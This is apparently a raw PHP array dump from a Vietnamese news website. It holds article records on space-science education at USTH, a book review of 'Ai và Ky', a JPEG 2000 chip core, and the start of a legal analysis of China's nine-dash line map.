Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div> <div> </div> <div> Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div> <div> </div> <div> Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 – 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div> <div> </div> <div> Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div> <div> </div> <div> Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div> <div> </div> <div> Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div> <div> </div> <div> <strong>Học công nghệ vũ trụ để làm gì?</strong></div> <div> </div> <div> Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div> <div> </div> <div> Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div> <div> </div> <div> <strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div> <div> </div> <div> Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div> <div> </div> <div> Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div> <div> </div> <div> Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div> <div> </div> <div> ---</div> <div> </div> <div> * CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div> <div> </div> <div> 1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div> <div> </div> <div> 2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div> ', 'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '55247', 'slug' => 'gan-lam-giac-mo-thien-van-viet-nam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '707', 'rght' => '708', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '408', 'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*', 'code' => null, 'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div> <div> Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div> <div> </div> <div> Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div> <div> </div> <div> Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div> <div> </div> <div> “Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div> <div> </div> <div> Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div> <div> </div> <div> Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div> <div> </div> <div> Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div> <div> </div> <div> ---</div> <div> </div> <div> * Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div> ', 'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '52316', 'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '705', 'rght' => '706', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '407', 'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ', 'code' => null, 'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div> <div> <br /> Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div> <div> </div> <div> Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div> <div> </div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div> <div> </div> <div> Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div> <div> </div> <div> Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div> <div> </div> <div> Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div> <div> </div> <div> Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div> ', 'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '59449', 'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '703', 'rght' => '704', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được 